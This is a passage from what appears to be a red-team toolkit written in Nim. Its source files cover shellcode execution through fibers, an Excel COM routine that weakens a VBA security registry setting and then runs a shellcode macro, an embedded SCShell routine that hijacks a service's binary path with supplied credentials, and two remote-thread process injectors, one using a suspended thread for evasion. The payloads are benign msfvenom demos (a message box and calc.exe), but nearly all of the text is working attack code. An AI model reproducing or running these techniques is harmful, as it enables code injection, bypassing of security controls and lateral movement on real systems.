0x10,0x89,0xe1,0x31,0xd2,0x52,0x53,0x51,0x52,0xff,0xd0,0x31,0xc0,0x50,0xff, 46 | 0x55,0x08] 47 | 48 | elif defined(amd64): 49 | # ./msfvenom -p windows/x64/messagebox -f csharp, then modified for Nim arrays 50 | echo "[*] Running in x64 process" 51 | var shellcode: array[295, byte] = [ 52 | byte 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51, 53 | 0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48, 54 | 0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48, 55 | 0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02, 56 | 0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e, 57 | 0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88, 58 | 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48, 59 | 0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e, 60 | 0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41, 61 | 0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24, 62 | 0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, 63 | 0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e, 64 | 0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41, 65 | 0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, 66 | 0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1, 67 | 0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,0x00,0x00,0x00,0x3e,0x4c,0x8d, 68 | 0x85,0x0f,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff, 69 | 0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x48,0x65,0x6c, 70 | 0x6c,0x6f,0x2c,0x20,0x66,0x72,0x6f,0x6d,0x20,0x4d,0x53,0x46,0x21,0x00,0x4d, 71 | 0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00] 72 | 73 | # This is essentially the equivalent of 'if __name__ == '__main__' in python 74 | when isMainModule: 75 | RunFiber(shellcode) 76 | -------------------------------------------------------------------------------- /src/excel_com_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | This is some funky shit. 5 | Winim allows you to use COM objects like a script via the "comScript" macro. 6 | References: 7 | - https://gist.github.com/enigma0x3/469d82d1b7ecaf84f4fb9e6c392d25ba 8 | ]# 9 | 10 | import strformat 11 | import winim/com 12 | 13 | comScript: 14 | var objExcel = CreateObject("Excel.Application") 15 | objExcel.Visible = false 16 | var WshShell = CreateObject("WScript.Shell") 17 | 18 | var Application_Version = objExcel.Version 19 | echo fmt"[+] Excel Version: {objExcel.Version} is detected on System" 20 | 21 | echo fmt"[+] Adjusting Excel Security Settings via Registry" 22 | var strRegPath = fmt"HKEY_CURRENT_USER\Software\Microsoft\Office\{Application_Version}\Excel\Security\AccessVBOM" 23 | WshShell.RegWrite(strRegPath, 1, "REG_DWORD") 24 | 25 | echo fmt"[+] Creating VBA object in Excel" 26 | var objWorkbook = objExcel.Workbooks.Add() 27 | var xlmodule = objWorkbook.VBProject.VBComponents.Add(1) 28 | 29 | echo fmt"[+] Planting Shellcode into Excel VBA Macro" 30 | var strCode = "#If Vba7 Then\n" 31 | strCode = strCode & "Private Declare PtrSafe Function CreateThread Lib \"kernel32\" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As LongPtr, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As LongPtr\n" 32 | strCode = strCode & "Private Declare PtrSafe Function VirtualAlloc Lib \"kernel32\" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As LongPtr\n" 33 | strCode = strCode & "Private Declare PtrSafe Function RtlMoveMemory Lib \"kernel32\" (ByVal Dkhnszol As LongPtr, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As LongPtr\n" 34 | strCode = strCode & "#Else\n" 35 | strCode = strCode & "Private Declare Function CreateThread Lib \"kernel32\" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As Long, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As Long\n" 36 | strCode = strCode & "Private Declare Function VirtualAlloc Lib \"kernel32\" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As Long\n" 37 | strCode = strCode & "Private Declare Function RtlMoveMemory Lib \"kernel32\" (ByVal Dkhnszol As Long, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As Long\n" 38 | strCode = strCode & "#EndIf\n" 39 | strCode = strCode & "\n" 40 | strCode = strCode & "Sub ExecShell()\n" 41 | strCode = strCode & " Dim Wyzayxya As Long, Hyeyhafxp As Variant, Zolde As Long\n" 42 | strCode = strCode & "#If Vba7 Then\n" 43 | strCode = strCode & " Dim Xlbufvetp As LongPtr, Lezhtplzi As LongPtr\n" 44 | strCode = strCode & "#Else\n" 45 | strCode = strCode & " Dim Xlbufvetp As Long, Lezhtplzi As Long\n" 46 | strCode = strCode & "#EndIf\n" 47 | strCode = strCode & " Hyeyhafxp = Array(252,72,131,228,240,232,192,0,0,0,65,81,65,80,82,81,86,72,49,210, _\n" 48 | strCode = strCode & "101,72,139,82,96,72,139,82,24,72,139,82,32,72,139,114,80,72,15, _\n" 49 | strCode = strCode & "183,74,74,77,49,201,72,49,192,172,60,97,124,2,44,32,65,193,201, _\n" 50 | strCode = strCode & "13,65,1,193,226,237,82,65,81,72,139,82,32,139,66,60,72,1,208,139, _\n" 51 | strCode = strCode & "128,136,0,0,0,72,133,192,116,103,72,1,208,80,139,72,24,68,139,64, _\n" 52 | strCode = strCode & "32,73,1,208,227,86,72,255,201,65,139,52,136,72,1,214,77,49,201,72, _\n" 53 | strCode = strCode & "49,192,172,65,193,201,13,65,1,193,56,224,117,241,76,3,76,36,8,69, _\n" 54 | strCode = strCode & "57,209,117,216,88,68,139,64,36,73,1,208,102,65,139,12,72,68,139, _\n" 55 | strCode = strCode & "64,28,73,1,208,65,139,4,136,72,1,208,65,88,65,88,94,89,90,65,88, _\n" 56 | strCode = strCode & "65,89,65,90,72,131,236,32,65,82,255,224,88,65,89,90,72,139,18,233, _\n" 57 | strCode = strCode & "87,255,255,255,93,72,186,1,0,0,0,0,0,0,0,72,141,141,1,1,0,0,65,186, _\n" 58 | strCode = strCode & "49,139,111,135,255,213,187,224,29,42,10,65,186,166,149,189,157,255, _\n" 59 | strCode = strCode & "213,72,131,196,40,60,6,124,10,128,251,224,117,5,187,71,19,114,111, _\n" 60 | strCode = strCode & "106,0,89,65,137,218,255,213,99,97,108,99,46,101,120,101,0)\n" 61 | strCode = strCode & " Xlbufvetp = VirtualAlloc(0, UBound(Hyeyhafxp), &H1000, &H40)\n" 62 | strCode = strCode & " For Zolde = LBound(Hyeyhafxp) To UBound(Hyeyhafxp)\n" 63 | strCode = strCode & " Wyzayxya = Hyeyhafxp(Zolde)\n" 64 | strCode = strCode & " Lezhtplzi = RtlMoveMemory(Xlbufvetp + Zolde, Wyzayxya, 1)\n" 65 | strCode = strCode & " Next Zolde\n" 66 | strCode = strCode & " Lezhtplzi = CreateThread(0, 0, Xlbufvetp, 0, 0, 0)\n" 67 | strCode = strCode & "End Sub\n" 68 | xlmodule.CodeModule.AddFromString(strCode) 69 | 70 | echo fmt"[+] Running Shellcode via Excel VBA Macro" 71 | objExcel.Run("ExecShell") 72 | objExcel.DisplayAlerts = false 73 | objWorkbook.Close(false) 74 | -------------------------------------------------------------------------------- /src/scshell_c_embed_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | 5 | References: 6 | - https://github.com/Mr-Un1k0d3r/SCShell 7 | ]# 8 | 9 | when not defined(c): 10 | {.error: "Must be compiled in c mode"} 11 | 12 | {.emit: """ 13 | // Author: Mr.Un1k0d3r RingZer0 Team 14 | // slightly modified to use with Nim 15 | 16 | #include 17 | #include 18 | 19 | #define LOGON32_LOGON_NEW_CREDENTIALS 9 20 | 21 | int SCShell(char *targetHost, char *serviceName, char *payload, char *domain, char *username, char *password) { 22 | LPQUERY_SERVICE_CONFIGA lpqsc = NULL; 23 | DWORD dwLpqscSize = 0; 24 | CHAR* originalBinaryPath = NULL; 25 | BOOL bResult = FALSE; 26 | 27 | printf("SCShell ***\n"); 28 | if(strcmp(targetHost,"local") == 0) { 29 | targetHost = NULL; 30 | printf("Target is local\n"); 31 | } else { 32 | printf("Trying to connect to %s\n", targetHost); 33 | } 34 | 35 | HANDLE hToken = NULL; 36 | if(strlen(username) != 0) { 37 | printf("Username was provided attempting to call LogonUserA\n"); 38 | bResult = LogonUserA(username, domain, password, LOGON32_LOGON_NEW_CREDENTIALS, LOGON32_PROVIDER_DEFAULT, &hToken); 39 | if(!bResult) { 40 | printf("LogonUserA failed %ld\n", GetLastError()); 41 | ExitProcess(0); 42 | } 43 | } else { 44 | printf("Using current process context for authentication. (Pass the hash)\n"); 45 | if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) { 46 | printf("OpenProcessToken failed %ld\n", GetLastError()); 47 | ExitProcess(0); 48 | } 49 | } 50 | 51 | bResult = FALSE; 52 | bResult = ImpersonateLoggedOnUser(hToken); 53 | if(!bResult) { 54 | printf("ImpersonateLoggedOnUser failed %ld\n", GetLastError()); 55 | ExitProcess(0); 56 | } 57 | 58 | SC_HANDLE schManager = OpenSCManagerA(targetHost, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS); 59 | if(schManager == NULL) { 60 | printf("OpenSCManagerA failed %ld\n", GetLastError()); 61 | ExitProcess(0); 62 | } 63 | printf("SC_HANDLE Manager 0x%p\n", schManager); 64 | 65 | printf("Opening %s\n", serviceName); 66 | SC_HANDLE schService = OpenServiceA(schManager, serviceName, SERVICE_ALL_ACCESS); 67 | if(schService == NULL) { 68 | CloseServiceHandle(schManager); 69 | printf("OpenServiceA failed %ld\n", GetLastError()); 70 | ExitProcess(0); 71 | } 72 | printf("SC_HANDLE Service 0x%p\n", schService); 73 | 74 | DWORD dwSize = 0; 75 | QueryServiceConfigA(schService, NULL, 0, &dwSize); 76 | if(dwSize) { 77 | // This part is not critical error will not stop the program 78 | dwLpqscSize = dwSize; 79 | printf("LPQUERY_SERVICE_CONFIGA need 0x%08x bytes\n", dwLpqscSize); 80 | lpqsc = GlobalAlloc(GPTR, dwSize); 81 | bResult = FALSE; 82 | bResult = QueryServiceConfigA(schService, lpqsc, dwLpqscSize, &dwSize); 83 | originalBinaryPath = lpqsc->lpBinaryPathName; 84 | printf("Original service binary path \"%s\"\n", originalBinaryPath); 85 | } 86 | 87 | bResult = FALSE; 88 | bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, payload, NULL, NULL, NULL, NULL, NULL, NULL); 89 | if(!bResult) { 90 | printf("ChangeServiceConfigA failed to update the service path. %ld\n", GetLastError()); 91 | ExitProcess(0); 92 | } 93 | printf("Service path was changed to \"%s\"\n", payload); 94 | 95 | bResult = FALSE; 96 | bResult = StartServiceA(schService, 0, NULL); 97 | DWORD dwResult = GetLastError(); 98 | if(!bResult && dwResult != 1053) { 99 | printf("StartServiceA failed to start the service. %ld\n", GetLastError()); 100 | } else { 101 | printf("Service was started\n"); 102 | } 103 | 104 | if(dwLpqscSize) { 105 | bResult = FALSE; 106 | bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, originalBinaryPath, NULL, NULL, NULL, NULL, NULL, NULL); 107 | if(!bResult) { 108 | printf("ChangeServiceConfigA failed to revert the service path. %ld\n", GetLastError()); 109 | ExitProcess(0); 110 | } 111 | printf("Service path was restored to \"%s\"\n", originalBinaryPath); 112 | } 113 | 114 | GlobalFree(lpqsc); 115 | CloseHandle(hToken); 116 | CloseServiceHandle(schManager); 117 | CloseServiceHandle(schService); 118 | return 1; 119 | } 120 | """.} 121 | 122 | proc SCShell(targetHost: cstring, serviceName: cstring, payload: cstring, domain: cstring, username: cstring, password: cstring): int 123 | {.importc: "SCShell", nodecl.} 124 | 125 | when isMainModule: 126 | echo "[*] Running SCShell" 127 | echo "" 128 | 129 | var result = SCShell( 130 | "local", 131 | "XblAuthManager", 132 | r"C:\WINDOWS\system32\cmd.exe /C calc.exe", 133 | "", # want to do it remotely? Change me! 134 | "", 135 | "" 136 | ) 137 | 138 | echo "" 139 | echo "[*] Result: ", bool(result) -------------------------------------------------------------------------------- /src/shellcode_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | ]# 5 | 6 | import winim/lean 7 | import osproc 8 | 9 | proc injectCreateRemoteThread[I, T](shellcode: array[I, T]): void = 10 | 11 | # Under the hood, the startProcess function from Nim's osproc module is calling CreateProcess() :D 12 | let tProcess = startProcess("notepad.exe") 13 | tProcess.suspend() # That's handy! 14 | defer: tProcess.close() 15 | 16 | echo "[*] Target Process: ", tProcess.processID 17 | 18 | let pHandle = OpenProcess( 19 | PROCESS_ALL_ACCESS, 20 | false, 21 | cast[DWORD](tProcess.processID) 22 | ) 23 | defer: CloseHandle(pHandle) 24 | 25 | echo "[*] pHandle: ", pHandle 26 | 27 | let rPtr = VirtualAllocEx( 28 | pHandle, 29 | NULL, 30 | cast[SIZE_T](shellcode.len), 31 | MEM_COMMIT, 32 | PAGE_EXECUTE_READ_WRITE 33 | ) 34 | 35 | var bytesWritten: SIZE_T 36 | let wSuccess = WriteProcessMemory( 37 | pHandle, 38 | rPtr, 39 | unsafeAddr shellcode, 40 | cast[SIZE_T](shellcode.len), 41 | addr bytesWritten 42 | ) 43 | 44 | echo "[*] WriteProcessMemory: ", bool(wSuccess) 45 | echo " \\-- bytes written: ", bytesWritten 46 | echo "" 47 | 48 | let tHandle = CreateRemoteThread( 49 | pHandle, 50 | NULL, 51 | 0, 52 | cast[LPTHREAD_START_ROUTINE](rPtr), 53 | NULL, 54 | 0, 55 | NULL 56 | ) 57 | defer: CloseHandle(tHandle) 58 | 59 | echo "[*] tHandle: ", tHandle 60 | echo "[+] Injected" 61 | 62 | when defined(windows): 63 | 64 | # https://github.com/nim-lang/Nim/wiki/Consts-defined-by-the-compiler 65 | when defined(i386): 66 | # ./msfvenom -p windows/messagebox -f csharp, then modified for Nim arrays 67 | echo "[*] Running in x86 process" 68 | var shellcode: array[272, byte] = [ 69 | byte 0xd9,0xeb,0x9b,0xd9,0x74,0x24,0xf4,0x31,0xd2,0xb2,0x77,0x31,0xc9,0x64,0x8b, 70 | 0x71,0x30,0x8b,0x76,0x0c,0x8b,0x76,0x1c,0x8b,0x46,0x08,0x8b,0x7e,0x20,0x8b, 71 | 0x36,0x38,0x4f,0x18,0x75,0xf3,0x59,0x01,0xd1,0xff,0xe1,0x60,0x8b,0x6c,0x24, 72 | 0x24,0x8b,0x45,0x3c,0x8b,0x54,0x28,0x78,0x01,0xea,0x8b,0x4a,0x18,0x8b,0x5a, 73 | 0x20,0x01,0xeb,0xe3,0x34,0x49,0x8b,0x34,0x8b,0x01,0xee,0x31,0xff,0x31,0xc0, 74 | 0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xcf,0x0d,0x01,0xc7,0xeb,0xf4,0x3b,0x7c, 75 | 0x24,0x28,0x75,0xe1,0x8b,0x5a,0x24,0x01,0xeb,0x66,0x8b,0x0c,0x4b,0x8b,0x5a, 76 | 0x1c,0x01,0xeb,0x8b,0x04,0x8b,0x01,0xe8,0x89,0x44,0x24,0x1c,0x61,0xc3,0xb2, 77 | 0x08,0x29,0xd4,0x89,0xe5,0x89,0xc2,0x68,0x8e,0x4e,0x0e,0xec,0x52,0xe8,0x9f, 78 | 0xff,0xff,0xff,0x89,0x45,0x04,0xbb,0x7e,0xd8,0xe2,0x73,0x87,0x1c,0x24,0x52, 79 | 0xe8,0x8e,0xff,0xff,0xff,0x89,0x45,0x08,0x68,0x6c,0x6c,0x20,0x41,0x68,0x33, 80 | 0x32,0x2e,0x64,0x68,0x75,0x73,0x65,0x72,0x30,0xdb,0x88,0x5c,0x24,0x0a,0x89, 81 | 0xe6,0x56,0xff,0x55,0x04,0x89,0xc2,0x50,0xbb,0xa8,0xa2,0x4d,0xbc,0x87,0x1c, 82 | 0x24,0x52,0xe8,0x5f,0xff,0xff,0xff,0x68,0x6f,0x78,0x58,0x20,0x68,0x61,0x67, 83 | 0x65,0x42,0x68,0x4d,0x65,0x73,0x73,0x31,0xdb,0x88,0x5c,0x24,0x0a,0x89,0xe3, 84 | 0x68,0x58,0x20,0x20,0x20,0x68,0x4d,0x53,0x46,0x21,0x68,0x72,0x6f,0x6d,0x20, 85 | 0x68,0x6f,0x2c,0x20,0x66,0x68,0x48,0x65,0x6c,0x6c,0x31,0xc9,0x88,0x4c,0x24, 86 | 0x10,0x89,0xe1,0x31,0xd2,0x52,0x53,0x51,0x52,0xff,0xd0,0x31,0xc0,0x50,0xff, 87 | 0x55,0x08] 88 | 89 | elif defined(amd64): 90 | # ./msfvenom -p windows/x64/messagebox -f csharp, then modified for Nim arrays 91 | echo "[*] Running in x64 process" 92 | var shellcode: array[295, byte] = [ 93 | byte 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51, 94 | 0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48, 95 | 0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48, 96 | 0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02, 97 | 0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e, 98 | 0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88, 99 | 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48, 100 | 0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e, 101 | 0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41, 102 | 0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24, 103 | 0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, 104 | 0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e, 105 | 0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41, 106 | 0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, 107 | 0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1, 108 | 0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,0x00,0x00,0x00,0x3e,0x4c,0x8d, 109 | 0x85,0x0f,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff, 110 | 0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x48,0x65,0x6c, 111 | 0x6c,0x6f,0x2c,0x20,0x66,0x72,0x6f,0x6d,0x20,0x4d,0x53,0x46,0x21,0x00,0x4d, 112 | 0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00] 113 | 114 | # This is essentially the equivalent of 'if __name__ == '__main__' in python 115 | when isMainModule: 116 | injectCreateRemoteThread(shellcode) 117 | -------------------------------------------------------------------------------- /src/suspended_thread_injection.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: 2hangd 3 | License: BSD 3-Clause 4 | ]# 5 | 6 | import winim/lean 7 | import osproc 8 | import os 9 | proc Suspended_Thread_Injection[I, T](shellcode: array[I, T]): void = 10 | var op: DWORD 11 | # Under the hood, the startProcess function from Nim's osproc module is calling CreateProcess() :D 12 | let tProcess = startProcess("notepad.exe") 13 | tProcess.suspend() # That's handy! 14 | defer: tProcess.close() 15 | 16 | echo "[*] Target Process: ", tProcess.processID 17 | 18 | let pHandle = OpenProcess( 19 | PROCESS_ALL_ACCESS, 20 | false, 21 | cast[DWORD](tProcess.processID) 22 | ) 23 | defer: CloseHandle(pHandle) 24 | 25 | echo "[*] pHandle: ", pHandle 26 | 27 | let rPtr = VirtualAllocEx( 28 | pHandle, 29 | NULL, 30 | cast[SIZE_T](shellcode.len), 31 | MEM_COMMIT, 32 | PAGE_EXECUTE_READ_WRITE 33 | ) 34 | 35 | var bytesWritten: SIZE_T 36 | let wSuccess = WriteProcessMemory( 37 | pHandle, 38 | rPtr, 39 | unsafeAddr shellcode, 40 | cast[SIZE_T](shellcode.len), 41 | addr bytesWritten 42 | ) 43 | 44 | echo "[*] WriteProcessMemory: ", bool(wSuccess) 45 | echo " \\-- bytes written: ", bytesWritten 46 | echo "" 47 | VirtualProtect(cast[LPVOID](rPtr), shellcode.len, PAGE_NOACCESS,addr op) 48 | let tHandle = CreateRemoteThread( 49 | pHandle, 50 | NULL, 51 | 0, 52 | cast[LPTHREAD_START_ROUTINE](rPtr), 53 | NULL, 54 | 0x00000004, 55 | NULL 56 | ) 57 | sleep(10000) 58 | VirtualProtect(cast[LPVOID](rPtr), shellcode.len, PAGE_EXECUTE_READ_WRITE,addr op) 59 | ResumeThread(tHandle) 60 | echo "[*] tHandle: ", tHandle 61 | echo "[+] Injected" 62 | 63 | when defined(windows): 64 | 65 | # https://github.com/nim-lang/Nim/wiki/Consts-defined-by-the-compiler 66 | when defined(i386): 67 | # ./msfvenom -p windows/messagebox -f csharp, then modified for Nim arrays 68 | echo "[*] Running in x86 process" 69 | var shellcode: array[272, byte] = [ 70 | byte 0xd9,0xeb,0x9b,0xd9,0x74,0x24,0xf4,0x31,0xd2,0xb2,0x77,0x31,0xc9,0x64,0x8b, 71 | 0x71,0x30,0x8b,0x76,0x0c,0x8b,0x76,0x1c,0x8b,0x46,0x08,0x8b,0x7e,0x20,0x8b, 72 | 0x36,0x38,0x4f,0x18,0x75,0xf3,0x59,0x01,0xd1,0xff,0xe1,0x60,0x8b,0x6c,0x24, 73 | 0x24,0x8b,0x45,0x3c,0x8b,0x54,0x28,0x78,0x01,0xea,0x8b,0x4a,0x18,0x8b,0x5a, 74 | 0x20,0x01,0xeb,0xe3,0x34,0x49,0x8b,0x34,0x8b,0x01,0xee,0x31,0xff,0x31,0xc0, 75 | 0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xcf,0x0d,0x01,0xc7,0xeb,0xf4,0x3b,0x7c, 76 | 0x24,0x28,0x75,0xe1,0x8b,0x5a,0x24,0x01,0xeb,0x66,0x8b,0x0c,0x4b,0x8b,0x5a, 77 | 0x1c,0x01,0xeb,0x8b,0x04,0x8b,0x01,0xe8,0x89,0x44,0x24,0x1c,0x61,0xc3,0xb2, 78 | 0x08,0x29,0xd4,0x89,0xe5,0x89,0xc2,0x68,0x8e,0x4e,0x0e,0xec,0x52,0xe8,0x9f, 79 | 0xff,0xff,0xff,0x89,0x45,0x04,0xbb,0x7e,0xd8,0xe2,0x73,0x87,0x1c,0x24,0x52, 80 | 0xe8,0x8e,0xff,0xff,0xff,0x89,0x45,0x08,0x68,0x6c,0x6c,0x20,0x41,0x68,0x33, 81 | 0x32,0x2e,0x64,0x68,0x75,0x73,0x65,0x72,0x30,0xdb,0x88,0x5c,0x24,0x0a,0x89, 82 | 0xe6,0x56,0xff,0x55,0x04,0x89,0xc2,0x50,0xbb,0xa8,0xa2,0x4d,0xbc,0x87,0x1c, 83 | 0x24,0x52,0xe8,0x5f,0xff,0xff,0xff,0x68,0x6f,0x78,0x58,0x20,0x68,0x61,0x67, 84 | 0x65,0x42,0x68,0x4d,0x65,0x73,0x73,0x31,0xdb,0x88,0x5c,0x24,0x0a,0x89,0xe3, 85 | 0x68,0x58,0x20,0x20,0x20,0x68,0x4d,0x53,0x46,0x21,0x68,0x72,0x6f,0x6d,0x20, 86 | 0x68,0x6f,0x2c,0x20,0x66,0x68,0x48,0x65,0x6c,0x6c,0x31,0xc9,0x88,0x4c,0x24, 87 | 0x10,0x89,0xe1,0x31,0xd2,0x52,0x53,0x51,0x52,0xff,0xd0,0x31,0xc0,0x50,0xff, 88 | 0x55,0x08] 89 | 90 | elif defined(amd64): 91 | # ./msfvenom -p windows/x64/messagebox -f csharp, then modified for Nim arrays 92 | echo "[*] Running in x64 process" 93 | var shellcode: array[295, byte] = [ 94 | byte 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51, 95 | 0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48, 96 | 0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48, 97 | 0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02, 98 | 0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e, 99 | 0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88, 100 | 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48, 101 | 0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e, 102 | 0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41, 103 | 0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24, 104 | 0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, 105 | 0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e, 106 | 0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41, 107 | 0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, 108 | 0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1, 109 | 0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,0x00,0x00,0x00,0x3e,0x4c,0x8d, 110 | 0x85,0x0f,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff, 111 | 0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x48,0x65,0x6c, 112 | 0x6c,0x6f,0x2c,0x20,0x66,0x72,0x6f,0x6d,0x20,0x4d,0x53,0x46,0x21,0x00,0x4d, 113 | 0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00] 114 | 115 | # This is essentially the equivalent of 'if __name__ == '__main__' in python 116 | when isMainModule: 117 | Suspended_Thread_Injection(shellcode) -------------------------------------------------------------------------------- /src/fltmc_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | 5 | References: 6 | - https://github.com/nim-lang/Nim/pull/1260 7 | - https://github.com/matterpreter/Shhmon/blob/master/Shhmon/Win32.cs 8 | - 